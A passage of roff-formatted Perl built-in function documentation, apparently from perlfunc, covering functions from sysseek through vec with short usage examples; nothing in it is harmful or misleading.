position to \s-1POSITION\s0, \f(CW1\fR to set the it to the current position plus
\&\s-1POSITION\s0, and \f(CW2\fR to set it to \s-1EOF\s0 plus \s-1POSITION\s0 (typically
negative).
.Sp
Note the \fIin bytes\fR: even if the filehandle has been set to operate
on characters (for example by using the \f(CW\*(C`:utf8\*(C'\fR I/O layer), \fItell()\fR
will return byte offsets, not character offsets (because implementing
that would render \fIsysseek()\fR very slow).
.Sp
\&\fIsysseek()\fR bypasses normal buffered \s-1IO\s0, so mixing this with reads (other
than \f(CW\*(C`sysread\*(C'\fR, for example >< or \fIread()\fR) \f(CW\*(C`print\*(C'\fR, \f(CW\*(C`write\*(C'\fR,
\&\f(CW\*(C`seek\*(C'\fR, \f(CW\*(C`tell\*(C'\fR, or \f(CW\*(C`eof\*(C'\fR may cause confusion.
.Sp
For \s-1WHENCE\s0, you may also use the constants \f(CW\*(C`SEEK_SET\*(C'\fR, \f(CW\*(C`SEEK_CUR\*(C'\fR,
and \f(CW\*(C`SEEK_END\*(C'\fR (start of the file, current position, end of the file)
from the Fcntl module. Use of the constants is also more portable
than relying on 0, 1, and 2. For example to define a \*(L"systell\*(R" function:
.Sp
.Vb 2
\& use Fcntl 'SEEK_CUR';
\& sub systell { sysseek($_[0], 0, SEEK_CUR) }
.Ve
.Sp
Returns the new position, or the undefined value on failure. A position
of zero is returned as the string \f(CW"0 but true"\fR; thus \f(CW\*(C`sysseek\*(C'\fR returns
true on success and false on failure, yet you can still easily determine
the new position.
.IP "system \s-1LIST\s0" 8
.IX Item "system LIST"
.PD 0
.IP "system \s-1PROGRAM\s0 \s-1LIST\s0" 8
.IX Item "system PROGRAM LIST"
.PD
Does exactly the same thing as \f(CW\*(C`exec LIST\*(C'\fR, except that a fork is
done first, and the parent process waits for the child process to
complete. Note that argument processing varies depending on the
number of arguments. If there is more than one argument in \s-1LIST\s0,
or if \s-1LIST\s0 is an array with more than one value, starts the program
given by the first element of the list with arguments given by the
rest of the list. If there is only one scalar argument, the argument
is checked for shell metacharacters, and if there are any, the
entire argument is passed to the system's command shell for parsing
(this is \f(CW\*(C`/bin/sh \-c\*(C'\fR on Unix platforms, but varies on other
platforms). If there are no shell metacharacters in the argument,
it is split into words and passed directly to \f(CW\*(C`execvp\*(C'\fR, which is
more efficient.
.Sp
Beginning with v5.6.0, Perl will attempt to flush all files opened for
output before any operation that may do a fork, but this may not be
supported on some platforms (see perlport). To be safe, you may need
to set \f(CW$|\fR ($AUTOFLUSH in English) or call the \f(CW\*(C`autoflush()\*(C'\fR method
of \f(CW\*(C`IO::Handle\*(C'\fR on any open handles.
.Sp
The return value is the exit status of the program as returned by the
\&\f(CW\*(C`wait\*(C'\fR call. To get the actual exit value shift right by eight (see below).
See also \*(L"exec\*(R". This is \fInot\fR what you want to use to capture
the output from a command, for that you should use merely backticks or
\&\f(CW\*(C`qx//\*(C'\fR, as described in \*(L"`STRING`\*(R" in perlop. Return value of \-1
indicates a failure to start the program (inspect $! for the reason).
.Sp
Like \f(CW\*(C`exec\*(C'\fR, \f(CW\*(C`system\*(C'\fR allows you to lie to a program about its name if
you use the \f(CW\*(C`system PROGRAM LIST\*(C'\fR syntax. Again, see \*(L"exec\*(R".
.Sp
Because \f(CW\*(C`system\*(C'\fR and backticks block \f(CW\*(C`SIGINT\*(C'\fR and \f(CW\*(C`SIGQUIT\*(C'\fR,
killing the program they're running doesn't actually interrupt
your program.
.Sp
.Vb 3
\& @args = ("command", "arg1", "arg2");
\& system(@args) == 0
\& or die "system @args failed: $?"
.Ve
.Sp
You can check all the failure possibilities by inspecting
\&\f(CW$?\fR like this:
.Sp
.Vb 10
\& if ($? == -1) {
\& print "failed to execute: $!\en";
\& }
\& elsif ($? & 127) {
\& printf "child died with signal %d, %s coredump\en",
\& ($? & 127), ($? & 128) ? 'with' : 'without';
\& }
\& else {
\& printf "child exited with value %d\en", $? >> 8;
\& }
.Ve
.Sp
or more portably by using the W*() calls of the \s-1POSIX\s0 extension;
see perlport for more information.
.Sp
When the arguments get executed via the system shell, results
and return codes will be subject to its quirks and capabilities.
See \*(L"`STRING`\*(R" in perlop and \*(L"exec\*(R" for details.
.IP "syswrite \s-1FILEHANDLE\s0,SCALAR,LENGTH,OFFSET" 8
.IX Item "syswrite FILEHANDLE,SCALAR,LENGTH,OFFSET"
.PD 0
.IP "syswrite \s-1FILEHANDLE\s0,SCALAR,LENGTH" 8
.IX Item "syswrite FILEHANDLE,SCALAR,LENGTH"
.IP "syswrite \s-1FILEHANDLE\s0,SCALAR" 8
.IX Item "syswrite FILEHANDLE,SCALAR"
.PD
Attempts to write \s-1LENGTH\s0 bytes of data from variable \s-1SCALAR\s0 to the
specified \s-1FILEHANDLE\s0, using the system call \fIwrite\fR\|(2). If \s-1LENGTH\s0 is
not specified, writes whole \s-1SCALAR\s0. It bypasses buffered \s-1IO\s0, so
mixing this with reads (other than \f(CWsysread())\fR, \f(CW\*(C`print\*(C'\fR, \f(CW\*(C`write\*(C'\fR,
\&\f(CW\*(C`seek\*(C'\fR, \f(CW\*(C`tell\*(C'\fR, or \f(CW\*(C`eof\*(C'\fR may cause confusion because the perlio and
stdio layers usually buffers data. Returns the number of bytes
actually written, or \f(CW\*(C`undef\*(C'\fR if there was an error (in this case the
errno variable \f(CW$!\fR is also set). If the \s-1LENGTH\s0 is greater than the
available data in the \s-1SCALAR\s0 after the \s-1OFFSET\s0, only as much data as is
available will be written.
.Sp
An \s-1OFFSET\s0 may be specified to write the data from some part of the
string other than the beginning. A negative \s-1OFFSET\s0 specifies writing
that many characters counting backwards from the end of the string.
In the case the \s-1SCALAR\s0 is empty you can use \s-1OFFSET\s0 but only zero offset.
.Sp
Note that if the filehandle has been marked as \f(CW\*(C`:utf8\*(C'\fR, Unicode
characters are written instead of bytes (the \s-1LENGTH\s0, \s-1OFFSET\s0, and the
return value of \fIsyswrite()\fR are in \s-1UTF\-8\s0 encoded Unicode characters).
The \f(CW\*(C`:encoding(...)\*(C'\fR layer implicitly introduces the \f(CW\*(C`:utf8\*(C'\fR layer.
See \*(L"binmode\*(R", \*(L"open\*(R", and the \f(CW\*(C`open\*(C'\fR pragma, open.
.IP "tell \s-1FILEHANDLE\s0" 8
.IX Item "tell FILEHANDLE"
.PD 0
.IP "tell" 8
.IX Item "tell"
.PD
Returns the current position \fIin bytes\fR for \s-1FILEHANDLE\s0, or \-1 on
error. \s-1FILEHANDLE\s0 may be an expression whose value gives the name of
the actual filehandle. If \s-1FILEHANDLE\s0 is omitted, assumes the file
last read.
.Sp
Note the \fIin bytes\fR: even if the filehandle has been set to
operate on characters (for example by using the \f(CW\*(C`:utf8\*(C'\fR open
layer), \fItell()\fR will return byte offsets, not character offsets
(because that would render \fIseek()\fR and \fItell()\fR rather slow).
.Sp
The return value of \fItell()\fR for the standard streams like the \s-1STDIN\s0
depends on the operating system: it may return \-1 or something else.
\&\fItell()\fR on pipes, fifos, and sockets usually returns \-1.
.Sp
There is no \f(CW\*(C`systell\*(C'\fR function. Use \f(CW\*(C`sysseek(FH, 0, 1)\*(C'\fR for that.
.Sp
Do not use \fItell()\fR on a filehandle that has been opened using
\&\fIsysopen()\fR, use \fIsysseek()\fR for that as described above. Why? Because
\&\fIsysopen()\fR creates unbuffered, \*(L"raw\*(R", filehandles, while \fIopen()\fR creates
buffered filehandles. \fIsysseek()\fR make sense only on the first kind,
\&\fItell()\fR only makes sense on the second kind.
.IP "telldir \s-1DIRHANDLE\s0" 8
.IX Item "telldir DIRHANDLE"
Returns the current position of the \f(CW\*(C`readdir\*(C'\fR routines on \s-1DIRHANDLE\s0.
Value may be given to \f(CW\*(C`seekdir\*(C'\fR to access a particular location in a
directory. Has the same caveats about possible directory compaction as
the corresponding system library routine.
.IP "tie \s-1VARIABLE\s0,CLASSNAME,LIST" 8
.IX Item "tie VARIABLE,CLASSNAME,LIST"
This function binds a variable to a package class that will provide the
implementation for the variable. \s-1VARIABLE\s0 is the name of the variable
to be enchanted. \s-1CLASSNAME\s0 is the name of a class implementing objects
of correct type. Any additional arguments are passed to the \f(CW\*(C`new\*(C'\fR
method of the class (meaning \f(CW\*(C`TIESCALAR\*(C'\fR, \f(CW\*(C`TIEHANDLE\*(C'\fR, \f(CW\*(C`TIEARRAY\*(C'\fR,
or \f(CW\*(C`TIEHASH\*(C'\fR). Typically these are arguments such as might be passed
to the \f(CW\*(C`dbm_open()\*(C'\fR function of C. The object returned by the \f(CW\*(C`new\*(C'\fR
method is also returned by the \f(CW\*(C`tie\*(C'\fR function, which would be useful
if you want to access other methods in \s-1CLASSNAME\s0.
.Sp
Note that functions such as \f(CW\*(C`keys\*(C'\fR and \f(CW\*(C`values\*(C'\fR may return huge lists
when used on large objects, like \s-1DBM\s0 files. You may prefer to use the
\&\f(CW\*(C`each\*(C'\fR function to iterate over such. Example:
.Sp
.Vb 7
\& # print out history file offsets
\& use NDBM_File;
\& tie(%HIST, 'NDBM_File', '/usr/lib/news/history', 1, 0);
\& while (($key,$val) = each %HIST) {
\& print $key, ' = ', unpack('L',$val), "\en";
\& }
\& untie(%HIST);
.Ve
.Sp
A class implementing a hash should have the following methods:
.Sp
.Vb 10
\& TIEHASH classname, LIST
\& FETCH this, key
\& STORE this, key, value
\& DELETE this, key
\& CLEAR this
\& EXISTS this, key
\& FIRSTKEY this
\& NEXTKEY this, lastkey
\& DESTROY this
\& UNTIE this
.Ve
.Sp
A class implementing an ordinary array should have the following methods:
.Sp
.Vb 14
\& TIEARRAY classname, LIST
\& FETCH this, key
\& STORE this, key, value
\& FETCHSIZE this
\& STORESIZE this, count
\& CLEAR this
\& PUSH this, LIST
\& POP this
\& SHIFT this
\& UNSHIFT this, LIST
\& SPLICE this, offset, length, LIST
\& EXTEND this, count
\& DESTROY this
\& UNTIE this
.Ve
.Sp
A class implementing a file handle should have the following methods:
.Sp
.Vb 16
\& TIEHANDLE classname, LIST
\& READ this, scalar, length, offset
\& READLINE this
\& GETC this
\& WRITE this, scalar, length, offset
\& PRINT this, LIST
\& PRINTF this, format, LIST
\& BINMODE this
\& EOF this
\& FILENO this
\& SEEK this, position, whence
\& TELL this
\& OPEN this, mode, LIST
\& CLOSE this
\& DESTROY this
\& UNTIE this
.Ve
.Sp
A class implementing a scalar should have the following methods:
.Sp
.Vb 5
\& TIESCALAR classname, LIST
\& FETCH this,
\& STORE this, value
\& DESTROY this
\& UNTIE this
.Ve
.Sp
Not all methods indicated above need be implemented. See perltie,
Tie::Hash, Tie::Array, Tie::Scalar, and Tie::Handle.
.Sp
Unlike \f(CW\*(C`dbmopen\*(C'\fR, the \f(CW\*(C`tie\*(C'\fR function will not use or require a module
for you\*(--you need to do that explicitly yourself. See DB_File
or the \fIConfig\fR module for interesting \f(CW\*(C`tie\*(C'\fR implementations.
.Sp
For further details see perltie, \*(L"tied \s-1VARIABLE\s0\*(R".
.IP "tied \s-1VARIABLE\s0" 8
.IX Item "tied VARIABLE"
Returns a reference to the object underlying \s-1VARIABLE\s0 (the same value
that was originally returned by the \f(CW\*(C`tie\*(C'\fR call that bound the variable
to a package.) Returns the undefined value if \s-1VARIABLE\s0 isn't tied to a
package.
.IP "time" 8
.IX Item "time"
Returns the number of non-leap seconds since whatever time the system
considers to be the epoch (that's 00:00:00, January 1, 1904 for Mac \s-1OS\s0,
and 00:00:00 \s-1UTC\s0, January 1, 1970 for most other systems).
Suitable for feeding to \f(CW\*(C`gmtime\*(C'\fR and \f(CW\*(C`localtime\*(C'\fR.
.Sp
For measuring time in better granularity than one second,
you may use either the Time::HiRes module (from \s-1CPAN\s0, and starting from
Perl 5.8 part of the standard distribution), or if you have
\&\fIgettimeofday\fR\|(2), you may be able to use the \f(CW\*(C`syscall\*(C'\fR interface of Perl.
See perlfaq8 for details.
.IP "times" 8
.IX Item "times"
Returns a four-element list giving the user and system times, in
seconds, for this process and the children of this process.
.Sp
.Vb 1
\& ($user,$system,$cuser,$csystem) = times;
.Ve
.Sp
In scalar context, \f(CW\*(C`times\*(C'\fR returns \f(CW$user\fR.
.IP "tr///" 8
.IX Item "tr///"
The transliteration operator. Same as \f(CW\*(C`y///\*(C'\fR. See perlop.
.IP "truncate \s-1FILEHANDLE\s0,LENGTH" 8
.IX Item "truncate FILEHANDLE,LENGTH"
.PD 0
.IP "truncate \s-1EXPR\s0,LENGTH" 8
.IX Item "truncate EXPR,LENGTH"
.PD
Truncates the file opened on \s-1FILEHANDLE\s0, or named by \s-1EXPR\s0, to the
specified length. Produces a fatal error if truncate isn't implemented
on your system. Returns true if successful, the undefined value
otherwise.
.Sp
The behavior is undefined if \s-1LENGTH\s0 is greater than the length of the
file.
.IP "uc \s-1EXPR\s0" 8
.IX Item "uc EXPR"
.PD 0
.IP "uc" 8
.IX Item "uc"
.PD
Returns an uppercased version of \s-1EXPR\s0. This is the internal function
implementing the \f(CW\*(C`\eU\*(C'\fR escape in double-quoted strings. Respects
current \s-1LC_CTYPE\s0 locale if \f(CW\*(C`use locale\*(C'\fR in force. See perllocale
and perlunicode for more details about locale and Unicode support.
It does not attempt to do titlecase mapping on initial letters. See
\&\f(CW\*(C`ucfirst\*(C'\fR for that.
.Sp
If \s-1EXPR\s0 is omitted, uses \f(CW$_\fR.
.IP "ucfirst \s-1EXPR\s0" 8
.IX Item "ucfirst EXPR"
.PD 0
.IP "ucfirst" 8
.IX Item "ucfirst"
.PD
Returns the value of \s-1EXPR\s0 with the first character in uppercase
(titlecase in Unicode). This is the internal function implementing
the \f(CW\*(C`\eu\*(C'\fR escape in double-quoted strings. Respects current \s-1LC_CTYPE\s0
locale if \f(CW\*(C`use locale\*(C'\fR in force. See perllocale and perlunicode
for more details about locale and Unicode support.
.Sp
If \s-1EXPR\s0 is omitted, uses \f(CW$_\fR.
.IP "umask \s-1EXPR\s0" 8
.IX Item "umask EXPR"
.PD 0
.IP "umask" 8
.IX Item "umask"
.PD
Sets the umask for the process to \s-1EXPR\s0 and returns the previous value.
If \s-1EXPR\s0 is omitted, merely returns the current umask.
.Sp
The Unix permission \f(CW\*(C`rwxr\-x\-\-\-\*(C'\fR is represented as three sets of three
bits, or three octal digits: \f(CW0750\fR (the leading 0 indicates octal
and isn't one of the digits). The \f(CW\*(C`umask\*(C'\fR value is such a number
representing disabled permissions bits. The permission (or \*(L"mode\*(R")
values you pass \f(CW\*(C`mkdir\*(C'\fR or \f(CW\*(C`sysopen\*(C'\fR are modified by your umask, so
even if you tell \f(CW\*(C`sysopen\*(C'\fR to create a file with permissions \f(CW0777\fR,
if your umask is \f(CW0022\fR then the file will actually be created with
permissions \f(CW0755\fR. If your \f(CW\*(C`umask\*(C'\fR were \f(CW0027\fR (group can't
write; others can't read, write, or execute), then passing
\&\f(CW\*(C`sysopen\*(C'\fR \f(CW0666\fR would create a file with mode \f(CW0640\fR (\f(CW\*(C`0666 &~
027\*(C'\fR is \f(CW0640\fR).
.Sp
Here's some advice: supply a creation mode of \f(CW0666\fR for regular
files (in \f(CW\*(C`sysopen\*(C'\fR) and one of \f(CW0777\fR for directories (in
\&\f(CW\*(C`mkdir\*(C'\fR) and executable files. This gives users the freedom of
choice: if they want protected files, they might choose process umasks
of \f(CW022\fR, \f(CW027\fR, or even the particularly antisocial mask of \f(CW077\fR.
Programs should rarely if ever make policy decisions better left to
the user. The exception to this is when writing files that should be
kept private: mail files, web browser cookies, \fI.rhosts\fR files, and
so on.
.Sp
If \fIumask\fR\|(2) is not implemented on your system and you are trying to
restrict access for \fIyourself\fR (i.e., (\s-1EXPR\s0 & 0700) > 0), produces a
fatal error at run time. If \fIumask\fR\|(2) is not implemented and you are
not trying to restrict access for yourself, returns \f(CW\*(C`undef\*(C'\fR.
.Sp
Remember that a umask is a number, usually given in octal; it is \fInot\fR a
string of octal digits. See also \*(L"oct\*(R", if all you have is a string.
.IP "undef \s-1EXPR\s0" 8
.IX Item "undef EXPR"
.PD 0
.IP "undef" 8
.IX Item "undef"
.PD
Undefines the value of \s-1EXPR\s0, which must be an lvalue. Use only on a
scalar value, an array (using \f(CW\*(C`@\*(C'\fR), a hash (using \f(CW\*(C`%\*(C'\fR), a subroutine
(using \f(CW\*(C`&\*(C'\fR), or a typeglob (using \f(CW\*(C`*\*(C'\fR). (Saying \f(CW\*(C`undef $hash{$key}\*(C'\fR
will probably not do what you expect on most predefined variables or
\&\s-1DBM\s0 list values, so don't do that; see delete.) Always returns the
undefined value. You can omit the \s-1EXPR\s0, in which case nothing is
undefined, but you still get an undefined value that you could, for
instance, return from a subroutine, assign to a variable or pass as a
parameter. Examples:
.Sp
.Vb 9
\& undef $foo;
\& undef $bar{'blurfl'}; # Compare to: delete $bar{'blurfl'};
\& undef @ary;
\& undef %hash;
\& undef &mysub;
\& undef *xyz; # destroys $xyz, @xyz, %xyz, &xyz, etc.
\& return (wantarray ? (undef, $errmsg) : undef) if $they_blew_it;
\& select undef, undef, undef, 0.25;
\& ($a, $b, undef, $c) = &foo; # Ignore third value returned
.Ve
.Sp
Note that this is a unary operator, not a list operator.
.IP "unlink \s-1LIST\s0" 8
.IX Item "unlink LIST"
.PD 0
.IP "unlink" 8
.IX Item "unlink"
.PD
Deletes a list of files. Returns the number of files successfully
deleted.
.Sp
.Vb 3
\& $cnt = unlink 'a', 'b', 'c';
\& unlink @goners;
\& unlink <*.bak>;
.Ve
.Sp
Note: \f(CW\*(C`unlink\*(C'\fR will not delete directories unless you are superuser and
the \fB\-U\fR flag is supplied to Perl. Even if these conditions are
met, be warned that unlinking a directory can inflict damage on your
filesystem. Use \f(CW\*(C`rmdir\*(C'\fR instead.
.Sp
If \s-1LIST\s0 is omitted, uses \f(CW$_\fR.
.IP "unpack \s-1TEMPLATE\s0,EXPR" 8
.IX Item "unpack TEMPLATE,EXPR"
\&\f(CW\*(C`unpack\*(C'\fR does the reverse of \f(CW\*(C`pack\*(C'\fR: it takes a string
and expands it out into a list of values.
(In scalar context, it returns merely the first value produced.)
.Sp
The string is broken into chunks described by the \s-1TEMPLATE\s0. Each chunk
is converted separately to a value. Typically, either the string is a result
of \f(CW\*(C`pack\*(C'\fR, or the bytes of the string represent a C structure of some
kind.
.Sp
The \s-1TEMPLATE\s0 has the same format as in the \f(CW\*(C`pack\*(C'\fR function.
Here's a subroutine that does substring:
.Sp
.Vb 4
\& sub substr {
\& my($what,$where,$howmuch) = @_;
\& unpack("x$where a$howmuch", $what);
\& }
.Ve
.Sp
and then there's
.Sp
.Vb 1
\& sub ordinal { unpack("c",$_[0]); } # same as ord()
.Ve
.Sp
In addition to fields allowed in \fIpack()\fR, you may prefix a field with
a %<number> to indicate that
you want a <number>\-bit checksum of the items instead of the items
themselves. Default is a 16\-bit checksum. Checksum is calculated by
summing numeric values of expanded values (for string fields the sum of
\&\f(CW\*(C`ord($char)\*(C'\fR is taken, for bit fields the sum of zeroes and ones).
.Sp
For example, the following
computes the same number as the System V sum program:
.Sp
.Vb 4
\& $checksum = do {
\& local $/; # slurp!
\& unpack("%32C*",<>) % 65535;
\& };
.Ve
.Sp
The following efficiently counts the number of set bits in a bit vector:
.Sp
.Vb 1
\& $setbits = unpack("%32b*", $selectmask);
.Ve
.Sp
The \f(CW\*(C`p\*(C'\fR and \f(CW\*(C`P\*(C'\fR formats should be used with care. Since Perl
has no way of checking whether the value passed to \f(CW\*(C`unpack()\*(C'\fR
corresponds to a valid memory location, passing a pointer value that's
not known to be valid is likely to have disastrous consequences.
.Sp
If there are more pack codes or if the repeat count of a field or a group
is larger than what the remainder of the input string allows, the result
is not well defined: in some cases, the repeat count is decreased, or
\&\f(CW\*(C`unpack()\*(C'\fR will produce null strings or zeroes, or terminate with an
error. If the input string is longer than one described by the \s-1TEMPLATE\s0,
the rest is ignored.
.Sp
See \*(L"pack\*(R" for more examples and notes.
.IP "untie \s-1VARIABLE\s0" 8
.IX Item "untie VARIABLE"
Breaks the binding between a variable and a package. (See \f(CW\*(C`tie\*(C'\fR.)
Has no effect if the variable is not tied.
.IP "unshift \s-1ARRAY\s0,LIST" 8
.IX Item "unshift ARRAY,LIST"
Does the opposite of a \f(CW\*(C`shift\*(C'\fR. Or the opposite of a \f(CW\*(C`push\*(C'\fR,
depending on how you look at it. Prepends list to the front of the
array, and returns the new number of elements in the array.
.Sp
.Vb 1
\& unshift(@ARGV, '-e') unless $ARGV[0] =~ /^-/;
.Ve
.Sp
Note the \s-1LIST\s0 is prepended whole, not one element at a time, so the
prepended elements stay in the same order. Use \f(CW\*(C`reverse\*(C'\fR to do the
reverse.
.IP "use Module \s-1VERSION\s0 \s-1LIST\s0" 8
.IX Item "use Module VERSION LIST"
.PD 0
.IP "use Module \s-1VERSION\s0" 8
.IX Item "use Module VERSION"
.IP "use Module \s-1LIST\s0" 8
.IX Item "use Module LIST"
.IP "use Module" 8
.IX Item "use Module"
.IP "use \s-1VERSION\s0" 8
.IX Item "use VERSION"
.PD
Imports some semantics into the current package from the named module,
generally by aliasing certain subroutine or variable names into your
package. It is exactly equivalent to
.Sp
.Vb 1
\& BEGIN { require Module; import Module LIST; }
.Ve
.Sp
except that Module \fImust\fR be a bareword.
.Sp
\&\s-1VERSION\s0 may be either a numeric argument such as 5.006, which will be
compared to \f(CW$]\fR, or a literal of the form v5.6.1, which will be compared
to \f(CW$^V\fR (aka \f(CW$PERL_VERSION\fR. A fatal error is produced if \s-1VERSION\s0 is
greater than the version of the current Perl interpreter; Perl will not
attempt to parse the rest of the file. Compare with \*(L"require\*(R", which can
do a similar check at run time.
.Sp
Specifying \s-1VERSION\s0 as a literal of the form v5.6.1 should generally be
avoided, because it leads to misleading error messages under earlier
versions of Perl which do not support this syntax. The equivalent numeric
version should be used instead.
.Sp
.Vb 3
\& use v5.6.1; # compile time version check
\& use 5.6.1; # ditto
\& use 5.006_001; # ditto; preferred for backwards compatibility
.Ve
.Sp
This is often useful if you need to check the current Perl version before
\&\f(CW\*(C`use\*(C'\fRing library modules that have changed in incompatible ways from
older versions of Perl. (We try not to do this more than we have to.)
.Sp
The \f(CW\*(C`BEGIN\*(C'\fR forces the \f(CW\*(C`require\*(C'\fR and \f(CW\*(C`import\*(C'\fR to happen at compile time. The
\&\f(CW\*(C`require\*(C'\fR makes sure the module is loaded into memory if it hasn't been
yet. The \f(CW\*(C`import\*(C'\fR is not a builtin\*(--it's just an ordinary static method
call into the \f(CW\*(C`Module\*(C'\fR package to tell the module to import the list of
features back into the current package. The module can implement its
\&\f(CW\*(C`import\*(C'\fR method any way it likes, though most modules just choose to
derive their \f(CW\*(C`import\*(C'\fR method via inheritance from the \f(CW\*(C`Exporter\*(C'\fR class that
is defined in the \f(CW\*(C`Exporter\*(C'\fR module. See Exporter. If no \f(CW\*(C`import\*(C'\fR
method can be found then the call is skipped.
.Sp
If you do not want to call the package's \f(CW\*(C`import\*(C'\fR method (for instance,
to stop your namespace from being altered), explicitly supply the empty list:
.Sp
.Vb 1
\& use Module ();
.Ve
.Sp
That is exactly equivalent to
.Sp
.Vb 1
\& BEGIN { require Module }
.Ve
.Sp
If the \s-1VERSION\s0 argument is present between Module and \s-1LIST\s0, then the
\&\f(CW\*(C`use\*(C'\fR will call the \s-1VERSION\s0 method in class Module with the given
version as an argument. The default \s-1VERSION\s0 method, inherited from
the \s-1UNIVERSAL\s0 class, croaks if the given version is larger than the
value of the variable \f(CW$Module::VERSION\fR.
.Sp
Again, there is a distinction between omitting \s-1LIST\s0 (\f(CW\*(C`import\*(C'\fR called
with no arguments) and an explicit empty \s-1LIST\s0 \f(CW\*(C`()\*(C'\fR (\f(CW\*(C`import\*(C'\fR not
called). Note that there is no comma after \s-1VERSION\s0!
.Sp
Because this is a wide-open interface, pragmas (compiler directives)
are also implemented this way. Currently implemented pragmas are:
.Sp
.Vb 8
\& use constant;
\& use diagnostics;
\& use integer;
\& use sigtrap qw(SEGV BUS);
\& use strict qw(subs vars refs);
\& use subs qw(afunc blurfl);
\& use warnings qw(all);
\& use sort qw(stable _quicksort _mergesort);
.Ve
.Sp
Some of these pseudo-modules import semantics into the current
block scope (like \f(CW\*(C`strict\*(C'\fR or \f(CW\*(C`integer\*(C'\fR, unlike ordinary modules,
which import symbols into the current package (which are effective
through the end of the file).
.Sp
There's a corresponding \f(CW\*(C`no\*(C'\fR command that unimports meanings imported
by \f(CW\*(C`use\*(C'\fR, i.e., it calls \f(CW\*(C`unimport Module LIST\*(C'\fR instead of \f(CW\*(C`import\*(C'\fR.
.Sp
.Vb 3
\& no integer;
\& no strict 'refs';
\& no warnings;
.Ve
.Sp
See perlmodlib for a list of standard modules and pragmas. See perlrun
for the \f(CW\*(C`\-M\*(C'\fR and \f(CW\*(C`\-m\*(C'\fR command-line options to perl that give \f(CW\*(C`use\*(C'\fR
functionality from the command\-line.
.IP "utime \s-1LIST\s0" 8
.IX Item "utime LIST"
Changes the access and modification times on each file of a list of
files. The first two elements of the list must be the \s-1NUMERICAL\s0 access
and modification times, in that order. Returns the number of files
successfully changed. The inode change time of each file is set
to the current time. For example, this code has the same effect as the
Unix \fItouch\fR\|(1) command when the files \fIalready exist\fR.
.Sp
.Vb 3
\& #!/usr/bin/perl
\& $now = time;
\& utime $now, $now, @ARGV;
.Ve
.Sp
\&\fBNote:\fR Under \s-1NFS\s0, \fItouch\fR\|(1) uses the time of the \s-1NFS\s0 server, not
the time of the local machine. If there is a time synchronization
problem, the \s-1NFS\s0 server and local machine will have different times.
.Sp
Since perl 5.7.2, if the first two elements of the list are \f(CW\*(C`undef\*(C'\fR, then
the \fIutime\fR\|(2) function in the C library will be called with a null second
argument. On most systems, this will set the file's access and
modification times to the current time (i.e. equivalent to the example
above.)
.Sp
.Vb 1
\& utime undef, undef, @ARGV;
.Ve
.IP "values \s-1HASH\s0" 8
.IX Item "values HASH"
Returns a list consisting of all the values of the named hash.
(In a scalar context, returns the number of values.)
.Sp
The values are returned in an apparently random order. The actual
random order is subject to change in future versions of perl, but it
is guaranteed to be the same order as either the \f(CW\*(C`keys\*(C'\fR or \f(CW\*(C`each\*(C'\fR
function would produce on the same (unmodified) hash. Since Perl
5.8.1 the ordering is different even between different runs of Perl
for security reasons (see \*(L"Algorithmic Complexity Attacks\*(R" in perlsec).
.Sp
As a side effect, calling \fIvalues()\fR resets the \s-1HASH\s0's internal iterator,
see \*(L"each\*(R".
.Sp
Note that the values are not copied, which means modifying them will
modify the contents of the hash:
.Sp
.Vb 2
\& for (values %hash) { s/foo/bar/g } # modifies %hash values
\& for (@hash{keys %hash}) { s/foo/bar/g } # same
.Ve
.Sp
See also \f(CW\*(C`keys\*(C'\fR, \f(CW\*(C`each\*(C'\fR, and \f(CW\*(C`sort\*(C'\fR.
.IP "vec \s-1EXPR\s0,OFFSET,BITS" 8
.IX Item "vec EXPR,OFFSET,BITS"
Treats the string in \s-1EXPR\s0 as a bit vector made up of elements of
width \s-1BITS\s0, and returns the value of the element specified by \s-1OFFSET\s0
as an unsigned integer. \s-1BITS\s0 therefore specifies the number of bits
that are reserved for each element in the bit vector. This must
be a power of two from 1 to 32 (or 64, if your platform supports
that).
.Sp
If \s-1BITS\s0 is 8, \*(L"elements\*(R" coincide with bytes of the input string.
.Sp
If \s-1BITS\s0 is 16 or more, bytes of the input string are grouped into chunks
of size \s-1BITS/8\s0, and each group is converted to a number as with
\&\fIpack()\fR/\fIunpack()\fR with big-endian formats \f(CW\*(C`n\*(C'\fR/\f(CW\*(C`N\*(C'\fR (and analogously
for BITS==64). See \*(L"pack\*(R" for details.
.Sp
If bits is 4 or less, the string is broken into bytes, then the bits
of each byte are broken into 8/BITS groups. Bits of a byte are
numbered in a little-endian-ish way, as in \f(CW0x01\fR, \f(CW0x02\fR,
\&\f(CW0x04\fR, \f(CW0x08\fR, \f(CW0x10\fR, \f(CW0x20\fR, \f(CW0x40\fR, \f(CW0x80\fR. For example,
breaking the single input byte \f(CW\*(C`chr(0x36)\*(C'\fR into two groups gives a list
\&\f(CW\*(C`(0x6, 0x3)\*(C'\fR; breaking it into 4 groups gives \f(CW\*(C`(0x2, 0x1, 0x3, 0x0)\*(C'\fR.
.Sp
\&\f(CW\*(C`vec\*(C'\fR may also be assigned to, in which case parentheses are needed
to give the expression the correct precedence as in
.Sp
.Vb 1
\& vec($image, $max_x * $x + $y, 8) = 3;
.Ve
.Sp
If the selected element is outside the string, the value 0 is returned.
If an element off the end of the string is written to, Perl will first
extend the string with sufficiently many zero bytes. It is an error
to try to write off the beginning of the string (i.e. negative \s-1OFFSET\s0).
.Sp
The string should not contain any character with the value > 255 (which
can only happen if you're using \s-1UTF\-8\s0 encoding). If it does, it will be
treated as something which is not \s-1UTF\-8\s0 encoded. When the \f(CW\*(C`vec\*(C'\fR was
assigned to, other parts of your program will also no longer consider the
string to be \s-1UTF\-8\s0 encoded. In other words, if you do have such characters
in your string, \fIvec()\fR will operate on the actual byte string, and not the
conceptual character string.
.Sp
Strings created with \f(CW\*(C`vec\*(C'\fR can also be manipulated with the logical
operators \f(CW\*(C`|\*(C'\fR, \f(CW\*(C`&\*(C'\fR, \f(CW\*(C`^\*(C'\fR, and \f(CW\*(C`~\*(C'\fR. These operators will assume a bit
vector operation is desired when both operands are strings.
See \*(L"Bitwise String Operators\*(R" in perlop.
.Sp
The following code will build up an \s-1ASCII\s0 string saying \f(CW'PerlPerlPerl'\fR.
The comments show the string after each step. Note that this code works
in the same way on big-endian or little-endian machines.
.Sp
.Vb 2
\& my $foo = '';
\& vec($foo, 0, 32) = 0x5065726C; # 'Perl'
.Ve
.Sp
.Vb 2
\& # $foo eq "Perl" eq "\ex50\ex65\ex72\ex6C", 32 bits
\& print vec($foo, 0, 8); # prints 80 == 0x50 == ord('P')
.Ve
.Sp
.Vb 11
\& vec($foo, 2, 16) = 0x5065; # 'PerlPe'
\& vec($foo, 3, 16) = 0x726C; # 'PerlPerl'
